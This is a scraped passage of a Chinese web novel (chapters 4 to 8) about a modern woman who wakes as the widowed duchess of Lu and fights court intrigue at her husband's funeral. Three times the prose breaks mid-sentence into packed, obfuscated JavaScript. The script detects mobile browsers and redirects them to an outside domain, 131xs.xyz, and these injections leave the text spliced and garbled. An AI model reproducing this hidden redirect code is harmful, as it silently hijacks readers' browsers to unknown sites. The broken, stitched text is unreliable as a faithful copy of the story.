所知,就这么一副傻白甜的样子回到国都那个风暴中心,只怕刚下车就被宰了,早知道之前在边境的时候就少打点麻将好好复习了,唉,小命要紧,小命要紧。 “展大人,你看我们也相处这么久了,我觉得你这个人挺不错的,以后我就直接叫你展禽好不好,不然显得怪生分的。”所谓伸手不打笑脸人,礼多人不怪,江雅决定先套近乎。 “夫人既是小君,自然可以随意称呼展禽。” “展禽,你看我回到国都的话,有什么需要特别注意的地方吗?” “唔”,展禽沉思了一下,继续回道:“夫人回国之后,言行举止需要收敛一点,尤其是在君上灵宫的时候,切不可失礼。” 江雅心里明白,展禽这是在委婉地批评自己平常疯疯癫癫的,便点头应承:“还有什么需要我注意的人和事吗?” “之前臧夫子提及的公子挥,在前任国君隐公的时期,就嚣张跋扈,自行其是,之后他杀掉了隐公,扶持君上继位,自恃有拥立之功,更是不把君上放在眼里,现在君上去世,太子幼弱,姬挥只怕更是难制。” 懂了!这不就是鳌拜和康熙嘛!不过姬挥公然弑君,这鲁国上下居然还不收拾他,看来我这便宜老公也不是什么好鸟啊。江雅心里暗暗记下,接着问道:“还有吗?” “嬴粲是君上的妾室,虽然为人歹毒刻薄,不过他的儿子鲁庆倒是知书达理,又喜好军事,年纪轻轻就堪称德才兼备,颇有一代明君之相,自知庶子无君位继承权,与姬挥往来频繁,对太子是个很大的威胁。” 好样的!九龙夺嫡的桥段也来了!我真的会栓Q!老天爷你这是要把我往死里整啊,还给我上强度,这么看得起我,安排这么多大BOSS,只怕我连他们的面都见不到,就被小怪弄死了。 想到这里,江雅小心地问道:“展禽,你说国内的大夫们,会直接杀了我给夫君陪葬吗?” “夫人无需担忧,您毕竟是齐国的公主,要杀你必须要有一个无可辩驳的罪名,以防齐国兴师问罪。” 江雅满嘴苦涩:“想不到,我还要借那个变态的威风来保命,真是讽刺。” “夫人无需气馁,只要您能扶持太子顺利继位,励精图治,日后自然无需借助外人,而且还能名垂史册。”展禽迟疑了一下,然后又接着说道:“虽然无性命之忧,但毕竟还会有一些流言传到国都,只怕宗妇们也不会善罢甘休,夫人还是要提前准备准备,想好如何应对才是。” 江雅心想,一群长舌妇罢了,有什么好担心的,电视里见得多了去了。不过师傅领进门,修行在个人,展禽该交待的都交待了,接下来,就要看临场发挥了,出来混,最终还是要靠自己啊。江雅暗暗给自己打气:鲁国,我来啦! 车轮滚滚,路旁的野草随风起舞,国都,越来越近了。 5. 第五章 暗潮涌动 鲁国国都,曲阜,姬挥的议事堂内,气氛凝重得仿若能拧出水来。为了应对即将回国的夫人,姬挥特意安排卜正为接下来的局势算一卦。 只见占卜师身着黑袍,头戴一顶奇异的高冠,双手捧着龟甲,口中念念有词,随后将龟甲置于火上炙烤。龟甲受热,发出“滋滋”的声响,不多时,龟甲上便出现了一道道裂纹。 一边的大夫们见状,纷纷屏气敛息,眼睛死死地盯着龟甲,生怕错过任何一个细节。那一道道裂纹,仿佛是命运的神秘符号,牵动着众人的心弦。 “这裂纹……”一位眼尖的大夫刚开口,却又被身旁的人一把捂住了嘴。 “莫要出声,听卜正解说。”众人皆是一脸的严肃与紧张。 占卜师仔细端详着龟甲上的裂纹,眉头时而紧皱,时而舒展。许久,他缓缓开口,声音低沉而神秘:“此卦风雷益,爻动于互卦坤位,坤为众为土,见血于坤宫,主宗室必有争端。然‘中行’者,守中正之道也,‘用圭’者,执玉礼以通神明。虽初始有凶,终得天命护佑。” 此言一出,卿大夫们顿时炸开了锅。 “这叫什么话!到底是凶是吉,倒是说清楚啊!” “夫人受天雷之动,怀变革之机。卦象显三凶三吉:一凶:见血于坤宫,近日必有宗室血光;二凶:玉圭裂于庙,旧制将倾之兆;三凶:玄鸟绕梁三日,主后宫干政之象。” “那三吉呢?” “一吉:龟甲灼文现"益"字,得天启之助;二吉:震雷惊起蛰龙,应新君即位之象;三吉:互卦见离火,主百工技艺大兴,宜以三太牢祭于南门,以祓除不祥并敬受天赐。” “这,究竟要如何应对,夫子?” 众人随即将目光看向一旁的姬挥,只见他身形高大而稍显佝偻,头发整齐束起,夹杂着几丝斑白,剑眉斜飞入鬓,眉下双眸深邃如渊,嘴唇极薄而紧抿,他沉吟半响,缓缓开口道:“鲁庆,你怎么看?” 姬挥的身旁站着一位少年,面如冠玉,唇若涂脂,他迟疑地望了一下两旁。 “你们先出去。”姬挥一挥手,赶走了那群苍蝇。 鲁庆这才拱手,恭敬地行礼道:“回禀夫子,天命本就飘杳难寻,卜筮不可不信,亦不可全信,方才卜正所言,依人事推理便知,又何须占卜。” “哦,此言何解?”姬挥饶有兴致地看着他。 “虽然此番国君在齐国死于非命,但毕竟齐强鲁弱,且夫人已逼齐侯杀了公子彭生,足以堵住天下悠悠之口,而且……”鲁庆稍一迟疑,接着说到:“齐侯杀彭生此举,似是与夫人联手做戏——既除掉了一直与齐国争雄的国君,夫人再挟除凶手之功及齐国兵势回国秉政,摒除异己,从此我鲁国只能唯齐国马首是瞻,再无称霸的可能。因此,后宫干政、宗室流血、旧制变革等卦辞之象皆是题中应有之义。” “依你之见,应该如何应对。” “听闻夫人在齐国宫内为天雷所击,性情大变,但有展禽相伴,应不至太过失礼,回国后定当为国君守丧,不如先静观其变,然后以其私德败坏,不足以为丧主,将其置于国都之外,以防夫人干政,我国并未以公开罪名处理夫人,相信齐国也无由前来干涉。” “太子本就对夫人心怀怨恨,再与夫人长期分离,势单力弱,如此一来……”姬挥不由地意味深长地看了鲁庆一眼。 “鲁庆年幼无知,全仗夫子栽培!”鲁庆瞬时汗流浃背。 “唔,老夫时日无多,你还年轻,不要心急。”说罢摆摆手,鲁庆赶紧回礼退下。 与此同时,鲁国后宫内。 子莹呆坐在榻上,两眼空空,花白的头发无力地披在肩上,任由赢粲给自己梳理发髻,戴上麻冠,再系上麻绳。 子莹恨,她恨自己活得太长,长到所有的人间丑事都被她看见。 她恨自己,当年鲁惠公那老不羞,跟亲生儿子抢媳妇的时候,为什么不一头撞死在太庙,好用鲜血来捍卫宋国视若珍宝的礼法; 她恨自己,当年齐僖公亲自送女出嫁的时候,自己没有勇敢地站出来,坚决反对这门孽缘; 她更恨自己,恨自己的肚子不争气,为什么没有生下一个儿子。如果自己有个儿子的话,在此任国君去世以后,根据鲁国“父死子继,兄终弟及”的惯例,自己的儿子就可以顺理成章地继承君位,而不用眼睁睁地看着鲁国的君位被那个蛇蝎一般的恶毒娼妇的儿子窃取。 “子氏,丧服穿戴好了,该去殡宫行礼了。”一旁的赢粲打断了子莹的沉思。 作为先君鲁惠公夫人仲子的配嫁女,子莹虽然没有正式的封号,但毕竟是“三朝元老”,赢粲还指望这位老妇人给自己儿子拉取一点人脉资源,不敢有丝毫的疏忽。 “嗯。”子莹随便应了一声,由着赢粲将自己慢慢扶起来,却仍然感到一阵眩晕。 “唉,到底还是老了!”子莹不由轻叹一声。 “听说夫人从齐国出发有一阵子了,这两天应该就可以到国都了。”赢粲一边将拐杖递给子莹,一边不动神色地引出话题。 “那个娼妇竟然真敢回来!”子莹顺势接过拐杖,闻言不禁大怒。 “夫人与齐侯的关系,您又不是不知道,听说,齐侯才派人打下了郚城,这郚城虽然是纪国的城邑,但是离我们国都可就不远了,正所谓唇亡齿寒,齐侯这分明就是给夫人撑腰啊。” “简直欺人太甚!我舍着这把老骨头不要了,也要往那娼妇脸上吐一口唾沫,让她知道世间仍有礼法,不是仅凭武力就能为所欲为的!”子莹用力把拐杖往地上一戳,苍老而又瘦削的双颊顿时被激起一阵病态红晕。 赢粲低着头扶着老人家,似在看路,嘴角却悄然扬起:有好戏看咯!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529929|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 鲁国,国都,曲阜。 站在高大厚实的城门外,一眼望去,那夯土筑就的城墙足有四五米高,岁月和风霜在上面留下了一道道或深或浅的沟壑。城门是用整棵大树做成的,上面镶嵌着一排排铜钉,虽历经沧桑,却依然散发着厚重而又威严的气息,仿佛在诉说着鲁国昔日的辉煌。 就像是往油锅里撒了一把盐,江雅的马车一进入城门,叽里呱啦的声音就此起彼伏。 “哎哟,瞧啊,这就是那个克死了国君的女人,呸!真不要脸!竟然还敢回来!”街角,一个卖菜的大妈压低声音,却又故意让周围人都能听见,她那满是皱纹的脸上写满了不屑,一边说,一边还朝地上啐了一口。 “可不是嘛,听说她在齐国的时候就行为不检点,国君的死多半与她脱不了干系!”旁边一个拿着扫帚的老头附和道,眼神中充满了厌恶,仿佛多看一眼都会污了自己的眼睛。 “听说,她还没出嫁的时候,就和自己的亲哥哥不清不楚,太子该不会是她和齐侯的野种吧!要是让野种继位,那我们鲁国列祖列宗只怕会气的从宗庙里跳出来!” 人群中,几个年轻的女子聚在一起,交头接耳。其中一个穿着朴素布裙的姑娘小声说道:“我还听说,她在齐国馆驿的时候,天天和人玩些稀奇古怪的玩意儿,哪有一点国君夫人的样子!”说完,还掩嘴偷笑起来。 “听说呀,她在齐国被雷劈中,可见老天还是长了眼睛的!”一个拿着野菜的妇人跟着笑了起来,“就是可惜!没有劈死这个毒妇!” “哼,要不是齐国势大,就凭她做的那些事,早就该被浸猪笼了!”一个膀大腰圆的汉子,双手抱胸,大声地嚷嚷着。他的声音在街道上回荡,引得更多人侧目。 江雅坐在马车里,这些话就像一把把利刃,穿透车厢,狠狠地扎在她的心上。她紧咬着嘴唇,脸色苍白,双手不自觉地攥紧了拳头 奶奶个熊,我还以为前世的农村人讲话粗俗是没素质,没想到原来都是老祖宗传下去的。不生气!不生气!我忍! “夫人,您别往心里去,这些人都是胡说八道!”一旁的小度看到江雅的脸色,心疼地安慰道。 江雅摆摆手,故作轻松道:“小意思,我怎么会和这些小人一般见识呢,有失身份!” 展禽闻言微微颔首:“夫人自经天雷启悟,性子大有改变,这泰山崩于前而面不改色的养气功夫,确实强大,展禽佩服!” 天边适时响起一声炸雷,江雅满脑黑线,这展禽真是!哪壶不开提哪壶,连忙岔开话题,“我们现在去哪?” “好像快要下雨了,我们直接去殡宫吧,太子、臧夫子等诸位大夫,都在那边。”说罢,便引着江雅往北边走去。 江雅抬头看了看天空,好家伙,黑云压城城欲摧,山雨欲来风满楼啊,看样子,注定要有一场恶战了。 6. 第六章 殡宫大战 当江雅穿着草鞋的右脚刚刚跨过殡宫的门槛,宫内的人一时间全部齐刷刷地望向她。饶是来之前做足了心里准备,江雅还是被吓得有点腿软。 奶奶个熊,老娘可是二十一世纪过来的,生在红旗下,长在春风里,从小接受的都是九年义务教育,好歹也是闯过高考独木桥,趟过社会毒打坑,这帮糟老头子,能比那帮马屁精领导的PUA、甲方爸爸的夺命连环CALL更狠? 想罢,江雅将左脚又坚定地迈了过去。 “好个荡灭人伦的娼蛇!”率先打破沉寂的是子莹。 只见她拄着拐杖,迈着颤颤巍巍的步子走到江雅面前,她枯槁的手指死死扣住江雅的缟素衣襟,破口骂道:“你竟还有脸回来!私通外人就已在七出之例,更何况还害死国君!你但凡是吃粟米长大,有半点羞耻之心,就早该自刎谢罪!我实在不知,你是以何种居心,穿着这身斩衰(cuī)来到这殡宫的!你眼里可还有礼法二字!” 哼!这等脏话痞话早在意料之中,老娘岂会放在眼里!再说,看你满头白发,老胳膊老腿的,让你几招又怎样,尊老爱幼乃是我中华民族传统美德,我忍! 江雅把头一偏,不予理会。 子莹见江雅毫无悔改之意,顿时怒火攻心,枯槁的手扣住江雅的手腕,一下子把江雅扯到在地,大声一喝:“跪下!” 江雅显然没想到这半死不活的老太婆竟还有这么大的力气,一时没反应过来,双手撑起身子四下望了一望。 只见殡宫东边的展禽满脸忧色,正想冲出来,却被左手边的臧达死死拉住;堂上棺椁(guǒ)的右边站着一位少年,正沉默着望着她。一股来自灵魂深处的悸动告诉江雅,这就是她在这个世界上唯一的至亲,太子鲁同,与此同时,一些脑海深处的记忆喷涌而出,江雅瞬时感觉有点头晕脑胀。 “啪!”还没等和太子做更深入的眼神交流,一个耳光把江雅的眼神拉回到子莹身上。 “贱人!还有心思关心旁人!睁开你这双媚狐眼好好看看,这里可是鲁国的国都,曲阜!”狠狠地甩了江雅一耳光的子莹,已有些脱力,再加上连续的高声叫骂,一时不由得气喘吁吁,双颊又呈现出病态的红晕。 “好个兄妹苟合的贱畜!”眼见子莹有些体力不支,赢粲突然冲了上来,扯住江雅的发髻就往地上一撞,咚! 鲜血顺着额角流了下来,还未从信息过载的眩晕中走出来的江雅却并未感觉到有多痛,只是鲜血迷了眼睛,不由得用手背揩了一下。 “哟!原来狐狸精的血也是红色的啊!”赢粲继续出言嘲讽:“太子莫非真是你和齐侯的野种?”说完,眼神有意无意地瞟向鲁同。 太子鲁同还是沉默地看着,眼神并无波动;对面一群宗室妇人及其他卿大夫,却仿佛是闻到血腥味的鲨鱼,眼神闪耀着兴奋的光芒。 “你是如何伙同齐侯害死国君的!快快从实招来,免受皮肉之苦!”休息片刻后,稍微恢复体力的子莹马上接力。 经过刚才那一撞,眩晕感仿佛随着鲜血慢慢流走,这一刻,江雅终于融合了这具身体的原来记忆,虽然赢粲表现地实在是像个女反派,但江雅还是忍不住在心底说了声,谢谢了啊。 江雅继续抬眼回望了一周,众人或兴奋、或不忍、或同情、或沉默,却没有一人站出来为她说话,江雅明白了,当今世道,弱肉强食,胜者为王败者寇,是生是死只能靠自己了。 剧烈的疼痛忽然涌了上来,她却并未哭喊,咧嘴悄然一笑,要是熟悉她的勇子在的话就会知道,江雅马上就要发飙了。 “你何时见到我害死夫君了?可有证据?”江雅缓缓站起身来,额角流下的血,早染红了半边脸,怒气值拉满的她,说话却是显得异常平稳。 “鲁国上下都传闻你伙同齐侯害死国君,岂能有假!” “那就是没有真凭实据,无中生有了?要这么来说的话,我还可以说你伙同公子挥害死夫君,意图篡位呢!” “你!血口喷人!”子莹显然没想到江雅会倒打一耙,气的脸涨成了猪肝色,边上姬挥更没想到居然会躺枪,不自觉地抿了下薄薄的嘴唇。 “是你先信口开河!我念你是先君惠公妾室,历经三朝,原想让你三分,你却气焰嚣张!须知此处乃是我夫君殡宫所在,举止进退,莫不有先王丧礼可依,你张口礼法,闭口礼法,身为前朝遗老,言辞如此腌臜粗俗,却不知礼在何处!” “你!”子莹显然气极,一只满是褶皱的右手,只顾指着江雅,却止不住地颤抖。 “我身为夫君三媒六聘娶回来的夫人,早已在太庙告祭过鲁国诸位列祖列宗,虽有些许闲言碎语,但要定我罪行——”江雅缓缓地环视一圈,“当由朝堂列位大夫审问,就算真要接受惩罚,也自有司寇大人主持,你妄动私刑,却不知礼在何处!” “先君莫名暴毙,你明知凶手所在,却不能缉拿黑手以正纲纪,却不知礼在何处!” “我!” “你嫁入我鲁国多年,却无半点子嗣,使我鲁国公室人丁不旺,先君惠公若在,定将以无子为由,将你休回宋国!而你却恬居后宫,却不知礼在何处!” 江雅一句一顿,稳步向前,子莹却被逼得连连后退,终于不慎跌坐在地,江雅却是火力全开,继续低头紧逼:“你身为宋国女子,在国君殡宫却言行无礼,是为不仁!你妄信谣言,污蔑小君,意图辱没鲁国,是为不义!奸臣弑君,却不能匡正朝纲,是为不忠!成亲多年,却无子嗣,是为不孝!你这不仁不义,不忠不孝的老妇!你妄活如许年月,空费我鲁国粟米,却不知你有何面目去见我鲁国一十二位先君于地下!” 子莹终于一口鲜血喷出,晕了过去,赢粲慌了神,连忙捡起子莹掉在地上的拐杖,想扶她出去。 “慢着!”江雅大喝一声,伸手一把拦住,眼神却示意边上的侍卫将子莹扶走。 “你放肆!子氏昏迷不醒,快点让开,休要延误救治!”赢粲一急,伸手去推,却发现江雅手臂有如泰山一般纹丝不动。 “你大胆!”江雅反手一个耳光把赢粲打翻在地,接着俯身说道:“我为正室,你乃小妾。我和太子及诸位大夫尚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529930|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未开口,你一介侧室却如许聒噪,简直目无尊长!” “太子乃是我与夫君婚后三年九月丁卯日生,期间我可有出国?一应消息,太史早已登记在册,岂能由你信口雌黄!你言辞对我多有污蔑,如今更是牵引太子,动摇国本,究竟意欲何为!” 跪在太子身后的鲁庆不忍看母亲受辱,轻咳一声,焦急地给姬挥使眼色。 姬挥暗自沉思:没想到夫人如此强势,若不稍作压制,只怕不仅太子将顺利即位,而且后宫干政之势也将无法挽回。但是夫人言辞闪烁,多有牵连于我,还需旁人出面才好。 于是,姬挥踢了踢边上的申需。 申需心领神会,开口劝道:“夫人,国君灵位左席空缺良久,不如先来行祭拜礼如何?” 江雅嘴角暗笑:终于把你们这些老狐狸引出来了。 “早就听闻申需大人对我多有偏见,我只是个未亡人,如今束身回国,除了祭拜夫君,就是想最后能再尽一点微薄之力。” “如果诸位大夫当真认定是我害死国君,那么就请在此将我就地正法,以祭夫君在天之灵。” “用我一死,既可以挽回鲁国声誉,我也能早日与夫君相会于九泉,而这正是我唯一的诉求,诸位大夫不仅于国家有功,对于我江雅也是有莫大的恩情!我就是死也会感激各位大夫的大恩大德!” 说完,江雅忽然对着大夫们屈膝下跪,双手缓缓向前伸出,手掌向下按在地上,额头迅速触地,行了一个标准的顿首礼。 “这,”申需迅速与姬挥交换了一下眼神,“夫人言重了!” 女眷那边走出一个身材高挑的妇人,弯腰来扶江雅。 通过之前涌出来的记忆,江雅认出这个人是风娈,鲁侯小儿子鲁友的母亲。 江雅感激地拍了拍风娈的手掌,缓缓起身,额上的伤口虽然没有继续流血,但是毕竟血液未干,刚才的磕头,在地上留下一个印记,好像给之前那番言论盖一个红章。 “夫君立我为小君,是让我管理后宫,帮助兴盛鲁国。夫君生前并未将我废掉,而且诸位大夫现在也并不认为我江雅有罪,现在却又对我管理后宫事务横加干涉,那就是不把我当夫人。江雅一介妇人,势单力弱,驽钝无能,愧对夫君,自当以死谢罪。诸位大夫若愿意奉我为夫人,就在今天,要废掉我,也在今天,夫君亡灵不远,在所共鉴!” “何至于此!”姬挥终于出来打圆场,“夫人乃是君上所立,臣等何来废立之权,后宫一应事务,自然是夫人全权处置。” “有劳夫子。”江雅微微颔首,又朗声喊道“来人!将赢氏拖下去,杖责二十,降俸一等,打入冷宫禁足一月!” 赢粲不由瘫坐在地,任由边上的宦官将自己架了出去。鲁庆偏过头,但是也并没有再出言阻止。 殡宫瞬时安静了下来,江雅缓缓走到鲁侯的棺椁左边,在早已备好的草席上跪坐下来,一双凤目含威,扫视了一下在场所有人,然后又缓缓行了一个顿首礼,众人慌忙答拜,祭拜礼继续。 殡宫外,暴雨下的正急。 7. 第七章 大战之后 江雅跪在冰凉的草席上,膝盖被麻质丧服磨得生疼。她双眼无神地望着灵堂中央那口黑色的棺椁,耳边回荡着司仪冗长的祝祷声,在他的提示下,时不时地嚎哭两声。 这又臭又长的丧礼仪式已经进行了五天,要不是为了在儿子面前好好表现,以缓和疏远的母子关系,以江雅好动的性子,早就提桶跑路了。 然而,效果却并不理想,太子鲁同仍然是沉默寡言,一副生人勿近的样子。 江雅想起以前办公室的女同事说自己读初中的小孩:一放学回来也不叫人,就回自己房间关着个门,也不知道在干什么;吃饭的时候也只闷头吃,问他什么都不回答,给他夹菜他还挑出来,真是恨不得一巴掌拍死这个忤逆子。 此时,江雅就深切感觉到那种明明恨得咬牙切齿,却又对此束手无策的感觉。 例行的哭祭结束后,江雅垂头丧气地回到寝宫,一下子蹦到床上,很没形象地摆了一个大字,扭头问道:“小度,你说我应该怎么做,才能让太子对我改变看法,恢复母子关系呢?” 小度忍不住吐槽道:“夫人,你这懒散的睡姿,怕是首先就要改改吧!” “这不是在那里跪了大半天,腿脚有点不舒服么……”江雅不好意思地坐起身来。 “还有,夫人,你早上哭的时候也太假了,就是一直干嚎,都没有眼泪的,用你自己的话说,就是忒不走心了!” “那我有什么办法,实在是哭不出来啊。” “夫人在齐国的那次,就哭地很好啊。” “那时候啊,那是想起了一些伤心往事,情不自禁地眼泪就来了。难道说有眼泪就好一些么?”江雅顿时来了兴趣。 “唔,在齐国那次,小度看到夫人流泪,就忍不住跟着哭了,感染力还是要好很多的,展大人不也是看你为君上哭的伤心,才对你有所改观么。” “言之有理!”江雅跳下床来,在房间内走来走去。 “但是,要怎么才能让眼泪说来就来呢?要是有风油精就好了,往眼角边上一抹,那酸爽!” “风油精是什么?” “风油精是……哎,说了你也不懂!”江雅遗憾地跺了一下脚,“哎!对了,小度有芥末吗?”江雅突然想起了《喜剧之王》中的名场面,忍不住过去抓着小度一阵摇晃。 “夫人,芥末是什么,是吃鱼脍用的芥酱吗?”小度被晃得有点晕,但还是给出了专业的回复。 “哈!真的有?!”江雅大喜过望,“快去帮我弄点来!” “夫人,居丧期间不能吃肉的,不说给太子知道,就是展大人知道了也会批评夫人的。” “没事没事,只是用一下,不吃肉,保证不吃肉!” 小度拗不过,只好去厨房找庖人要了一点,江雅迫不及待地用手挑了一点送到嘴巴里。 “哇!咳…咳…咳…没想到…这么…这么呛啊!”此时的芥末未经改良,江雅感觉这味道比以前在夜宵摊吃的芥末鱿鱼,要呛十倍不止,不知轻重之下,一下子又吃得多,被呛得眼泪鼻涕直流。小度连忙拿手帕给江雅擦眼泪。 “哇!爽!有了这个可就大功告成了!”缓过劲来的江雅又熊起来了。 “夫人,你…”小度似乎有些犹豫接下来的话要不要问。 “怎么了?” “听说你前几天在殡宫的时候,可威风了,一番教训义正词严,说得嬴氏哑口无言,诸位大夫们对你也是毕恭毕敬的,怎么现在回了寝宫就……” “在外人面前当然要摆摆架子,才能保持我夫人的威严嘛!不然怎么掌住后宫大权。但是我自穿越…哦不,遭雷击以来,一直都是由你服侍,我们之间感情深厚,自然就不必那么端着了,不然天天摆架子,张口礼法,闭口礼法的,不成了子氏那个老太婆了。” “哦……”小度似懂非懂地点点头。 “说起子氏来,她那天吐血晕倒,怎么样了?” “听医正说有点严重,只怕熬不过今晚了。” “这么严重?”江雅一惊,没想到自己劈头盖脸一阵痛骂,竟然还真骂死了人,当时自己只想着自己爽,而且借机立威,很多罪名都是有点强词夺理,硬扣在她头上的,她只是有点食古不化,倒还是罪不至死。 “快带我去看看她”江雅抬脚正准备走,突然又停下,转念一想还是算了——毕竟是我害她成这样的,我这时候过去算什么呢?猫哭耗子假慈悲吗?她会以为我假惺惺的,又想利用她换取政治资本,只怕刚看见我,就会被气的一命呜呼,还不用等到晚上。 “小度,告诉臧夫子他们,等子氏去世了,给她的葬礼升一个等级,子氏一生恪守礼制,根据谥法:夙夜祗惧,事君尽礼曰敬,就定谥为敬,大殓时通知我一声。” “好的!”小度很高兴地看到,关键时刻,夫人还是有夫人的样子的。 江雅并没有注意到小度赞许的表情,而是看着手里装着芥酱的木碗,在脑海中模拟明天的哭祭。小度看着陷入沉思的江雅,便关门退了出去。 第二天,随着司仪抑扬顿挫而又催人入眠的祝祷声,哭祭又开始了。江雅看着用袖子抹眼泪的鲁同,一边跟着嚎,一边偷偷地从袖子里拿出早已准备好的芥酱,小心地挑了一点放到嘴巴里。 熟悉的呛辣感喷涌而来,江雅的眼泪瞬间夺眶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529931|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而出,她也就开始更加卖力地嚎啕大哭:“君上…君上啊!你怎么就…舍我们而去啦!鲁国称霸大业尚未成功,我们将何去何从?太子年幼无知,谁来给他支持…君上…君上啊!真是痛煞我也!” 正所谓风助火势,火仗风威,有了眼泪的加持,江雅这次的嚎哭表演果然逼真了许多,本来快要停止哭泣的鲁同,也情不自禁地又哭了起来,惹得司仪不得不出来劝:“夫人,太子,请节哀。” 缓缓起身的鲁同,看着仍在嚎哭的江雅,终于有了一丝异样的神情。 却听见殡宫外突然高声喊道:“有客到,齐国公子纠携管仲前来祭拜!” 江雅瞬时一惊,管仲?协助齐桓公成为春秋五霸之首的一代贤臣,管仲?来到这边这么久了,终于要见到历史书上的名人了吗?!江雅不由一阵激动。 不久,两名壮年男子一前一后缓步向前,在鲁桓公的棺椁前屈膝跪地,行了一个稽首礼,江雅和太子也跟着回了一个礼。 走在前面那个人,又跟鲁同说道:“听闻鲁侯骤然去世,本公子心中悲痛万分。想当年,齐鲁两国往来密切,鲁侯对我齐国多有关照,此情一直铭记于心。如今鲁侯不幸仙去,太子想必哀伤不已。但你乃鲁国嗣君,身负家国重任。此刻,鲁国上下皆盼你能节哀顺变,振作起来,切勿伤身。” 江雅通过前身的记忆已经认了出来,这是自己的便宜老弟——姜纠,那么用排除法可知,另一位自然就是大名鼎鼎的管仲了。亲眼见到历史名人,江雅忍不住盯着他仔细端详。 只见管仲比姜纠要高,身姿挺拔,头发整齐束起,用一条素色布带紧紧缠定,发冠端正地佩戴在头顶,额头宽阔饱满,双目炯炯有神,鼻子直挺,唇上一抹齐整的一字胡横亘,下颌一撮山羊胡,显得整个人稳重而又儒雅。 真是标准的大帅哥啊!江雅忍不住心里一阵暗叹。 边上,鲁同已经完结与姜纠的礼节□□流,一回头看到江雅正目不转睛地盯着管仲看,之前对母亲燃起的一点好感,瞬间荡然无存,再想起国都传的那些不堪入耳的流言,忍不住哼了一声。 江雅瞬间惊醒,连忙对姜纠说道:“感谢公子纠亲临丧礼,太子鲁同即将继位,齐鲁乃近邻,更兼多年姻亲,还望公子纠能为两国关系斡旋一二,共保边境安宁。” 姜纠回礼应承,向太子告辞之后,就携管仲离开了殡宫。 没了外人,鲁同随即也阴着脸回了寝宫。 看着离去的鲁同,江雅知道自己今天那番苦心表演算是白瞎了,唉!这修复亲子关系的任务,还是相当艰巨啊! 路漫漫其修远兮,吾将上下而求索! 8. 第八章 兄弟母子 幽幽的皎月照耀着沉默的大地。 青铜烛台在漆案上投下浓厚的黑影,姬挥的手指摩挲着酒爵边缘,指节因用力而泛白;南席的鲁庆低头沉默,似乎不忍打扰沉思的姬挥;东席的申豹抱着青铜剑,反复擦拭;申需焦急地在堂中走来走去。 申需忽然停下脚步,“夫人此番回国,君上暴薨之事尚未给个交代,又逼死子氏,是可忍,孰不可忍!长此以往,只怕国将不国!” “不如今夜就…”申豹突然抽出青铜剑,淡淡的光晕映出他充满杀机的双眼。 “不可!” 申需断然拒绝,“夫人可不似隐公那般无依无靠,齐国想要入侵我国,一直师出无名,若以为夫人吊丧为由兴师问罪,我们如何抵挡,如若太子再把我等交予齐国,此举岂不是自寻死路。” “既不能忍受屈辱,又不敢动手干大事,那你待怎样!”申豹把剑狠狠一顿,愤怒地起身。 申需无奈地叹了口气,“国家大事,岂同儿戏,总需考虑周全才是。” 姬挥忽然开口道:“天子即位以来,地位一直不很稳固,听闻周公黑肩正与王子克密谋暴动,天子必不会坐视不理。” 申豹不解地问道:“那又如何?” 鲁庆突然停止沉默,解释道:“方今天下,除了楚国之外,就属齐国最强,天子必定寻求与其联姻,以笼络齐国。而王姬出嫁,必由同姓诸侯做主婚人。” 申需终于明白了,接着说道:“而与齐国接境的诸侯之中,就属我鲁国最尊,主婚人一职,非我鲁国莫属。” “唔,”姬挥满意地点点头,“昨日收到消息,天子已命单伯送王姬出嫁,不日即到我国。明日朝会时,就由你提议,将夫人打发到国都之外,主持王姬宾馆监造以及主婚事宜。” 申需拱手一礼,表示收到,“君上去世,太子需守丧,不便接待;而夫人乃是小君,地位尊崇,又是齐国女子,由她来主持接待再适合不过了。但是…”申需又接着走来走去,“此举虽然能将夫人支出国都,暂时削弱其影响力,但并未伤及其根本。” “鲁庆,趁夫人离开国都,你率军前去攻打馀丘!” “诺!”鲁庆一拱到地,横举的双手,遮住了他那双狂喜的眼神。 申需似乎又明白了,“夫子此举甚妙!如此一来,便可震慑邾国等宵小,宣示国威——我国君虽然死得不明不白,但也不是谁都可以来欺负的!” “还可以趁着太子守丧的机会,收揽兵权,此消彼长之下,既可剪除夫人的羽翼,又可以削弱太子在军中的影响力,另外…”姬挥突然把手中的酒爵放下,“你母亲上次在殡宫的行为及言辞太过激进,太子毕竟是嫡出,且君上亲自培养多年,岂能因一些流言而妄行废立,只可徐徐图之。” “鲁庆明白!” 窗外忽然传来更夫清脆的梆子声,惊起檐下宿鸦扑棱棱飞过。 “天色已晚,你们先回去准备准备吧。” 众人拱手一礼,随即退下。 府外,墙角处一人似蹲了许久,不时地来回走动,以缓解腿脚的麻木感,听见开门声,迅速地窜到门前唤了一声,“大哥!” 